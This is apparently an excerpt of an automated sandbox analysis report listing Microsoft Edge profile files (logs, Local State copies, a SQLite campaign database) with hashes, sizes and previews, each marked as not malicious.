SHA-512:	977EA7762F0A8916E736193EE2D3990AF193F404809B000D2D35BD5256F1039753C5EFAF6843C706E6DCBF8110F1E368BFFDFC5777659F9D2F1BD34DA9AB178B
Malicious:	false
Preview:	2024/10/30-22:04:21.510 8f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-22:04:21.513 8f8 Recovering log #3.2024/10/30-22:04:21.514 8f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.1723070304593834
Encrypted:	false
SSDEEP:	6:6HeQUVnB3+q2P923oH+TcwtfrK+IFUt8vHeQUC7Zmw+vHeQURRVkwO923oH+Tcwf:6HeQUDOv4Yeb23FUt8vHeQUC7/+vHeQY
MD5:	7262DB362B881B285CE44235101F0C6F
SHA1:	A10D46C7D5ACB2FCE483FD66C30DB893E75830F6
SHA-256:	673E9A51D18E197CDC2E28BB046370F44E30B2F3276926F4DF2D9BE562F1DFC4
SHA-512:	977EA7762F0A8916E736193EE2D3990AF193F404809B000D2D35BD5256F1039753C5EFAF6843C706E6DCBF8110F1E368BFFDFC5777659F9D2F1BD34DA9AB178B
Malicious:	false
Preview:	2024/10/30-22:04:21.510 8f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-22:04:21.513 8f8 Recovering log #3.2024/10/30-22:04:21.514 8f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.184537593605
Encrypted:	false
SSDEEP:	6:6HeudR+q2P923oH+TcwtfrzAdIFUt8vHeXZZmw+vHeXNVkwO923oH+TcwtfrzILJ:6He5v4Yeb9FUt8vHeJ/+vHeD5LYeb2J
MD5:	F67FC4A1B4480F74460EF04C10775EDB
SHA1:	D3222D06CDEAEC69C67A7EA4CD2B5CF9426EE85F
SHA-256:	4363CAF220C95A51071A00DBCC74C2B4F5525ED02E2FDFEF3BF7A18C64BECC35
SHA-512:	B54CCB5593C39848DDD9FB368B27B5E6C62DB4F556A4364EE62ABB54FFB8B7775D6402222FAFF11E01E44EBD1978ACE16881550484002B38BE00993ABEA92BD3
Malicious:	false
Preview:	2024/10/30-22:04:21.494 8f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-22:04:21.495 8f8 Recovering log #3.2024/10/30-22:04:21.495 8f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.184537593605
Encrypted:	false
SSDEEP:	6:6HeudR+q2P923oH+TcwtfrzAdIFUt8vHeXZZmw+vHeXNVkwO923oH+TcwtfrzILJ:6He5v4Yeb9FUt8vHeJ/+vHeD5LYeb2J
MD5:	F67FC4A1B4480F74460EF04C10775EDB
SHA1:	D3222D06CDEAEC69C67A7EA4CD2B5CF9426EE85F
SHA-256:	4363CAF220C95A51071A00DBCC74C2B4F5525ED02E2FDFEF3BF7A18C64BECC35
SHA-512:	B54CCB5593C39848DDD9FB368B27B5E6C62DB4F556A4364EE62ABB54FFB8B7775D6402222FAFF11E01E44EBD1978ACE16881550484002B38BE00993ABEA92BD3
Malicious:	false
Preview:	2024/10/30-22:04:21.494 8f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-22:04:21.495 8f8 Recovering log #3.2024/10/30-22:04:21.495 8f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756763444052
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+Qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa6dtbz8hu3VlXr4CRo1
MD5:	CD5A01DCEF8396BC312B598F0F62D5ED
SHA1:	1321E476A11F327EB8C90715B25E764FB603F667
SHA-256:	AD92ADEC4D277487A1BBC020F5830AB016044BA92B6899BE22004F1717A460FA
SHA-512:	08B8197FFCB9772B889346B216C405FDC77ED0C5720D91B6B5C4EF2AA41D56BBC08A92DEBC17EA8A8D9650759736517862F27888C6FF856DC7203D8F94B60611
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3703f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756763444052
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+Qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa6dtbz8hu3VlXr4CRo1
MD5:	CD5A01DCEF8396BC312B598F0F62D5ED
SHA1:	1321E476A11F327EB8C90715B25E764FB603F667
SHA-256:	AD92ADEC4D277487A1BBC020F5830AB016044BA92B6899BE22004F1717A460FA
SHA-512:	08B8197FFCB9772B889346B216C405FDC77ED0C5720D91B6B5C4EF2AA41D56BBC08A92DEBC17EA8A8D9650759736517862F27888C6FF856DC7203D8F94B60611
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3704f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756763444052
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+Qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa6dtbz8hu3VlXr4CRo1
MD5:	CD5A01DCEF8396BC312B598F0F62D5ED
SHA1:	1321E476A11F327EB8C90715B25E764FB603F667
SHA-256:	AD92ADEC4D277487A1BBC020F5830AB016044BA92B6899BE22004F1717A460FA
SHA-512:	08B8197FFCB9772B889346B216C405FDC77ED0C5720D91B6B5C4EF2AA41D56BBC08A92DEBC17EA8A8D9650759736517862F27888C6FF856DC7203D8F94B60611
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF371f5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756763444052
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+Qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa6dtbz8hu3VlXr4CRo1
MD5:	CD5A01DCEF8396BC312B598F0F62D5ED
SHA1:	1321E476A11F327EB8C90715B25E764FB603F667
SHA-256:	AD92ADEC4D277487A1BBC020F5830AB016044BA92B6899BE22004F1717A460FA
SHA-512:	08B8197FFCB9772B889346B216C405FDC77ED0C5720D91B6B5C4EF2AA41D56BBC08A92DEBC17EA8A8D9650759736517862F27888C6FF856DC7203D8F94B60611
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF398f5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756763444052
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+Qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa6dtbz8hu3VlXr4CRo1
MD5:	CD5A01DCEF8396BC312B598F0F62D5ED
SHA1:	1321E476A11F327EB8C90715B25E764FB603F667
SHA-256:	AD92ADEC4D277487A1BBC020F5830AB016044BA92B6899BE22004F1717A460FA
SHA-512:	08B8197FFCB9772B889346B216C405FDC77ED0C5720D91B6B5C4EF2AA41D56BBC08A92DEBC17EA8A8D9650759736517862F27888C6FF856DC7203D8F94B60611
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d60e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756763444052
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+Qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa6dtbz8hu3VlXr4CRo1
MD5:	CD5A01DCEF8396BC312B598F0F62D5ED
SHA1:	1321E476A11F327EB8C90715B25E764FB603F667
SHA-256:	AD92ADEC4D277487A1BBC020F5830AB016044BA92B6899BE22004F1717A460FA
SHA-512:	08B8197FFCB9772B889346B216C405FDC77ED0C5720D91B6B5C4EF2AA41D56BBC08A92DEBC17EA8A8D9650759736517862F27888C6FF856DC7203D8F94B60611
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF482d8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756763444052
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+Qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa6dtbz8hu3VlXr4CRo1
MD5:	CD5A01DCEF8396BC312B598F0F62D5ED
SHA1:	1321E476A11F327EB8C90715B25E764FB603F667
SHA-256:	AD92ADEC4D277487A1BBC020F5830AB016044BA92B6899BE22004F1717A460FA
SHA-512:	08B8197FFCB9772B889346B216C405FDC77ED0C5720D91B6B5C4EF2AA41D56BBC08A92DEBC17EA8A8D9650759736517862F27888C6FF856DC7203D8F94B60611
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4e0f6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756763444052
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM4wuF9hDO6vP6O+Qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEa6dtbz8hu3VlXr4CRo1
MD5:	CD5A01DCEF8396BC312B598F0F62D5ED
SHA1:	1321E476A11F327EB8C90715B25E764FB603F667
SHA-256:	AD92ADEC4D277487A1BBC020F5830AB016044BA92B6899BE22004F1717A460FA
SHA-512:	08B8197FFCB9772B889346B216C405FDC77ED0C5720D91B6B5C4EF2AA41D56BBC08A92DEBC17EA8A8D9650759736517862F27888C6FF856DC7203D8F94B60611
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
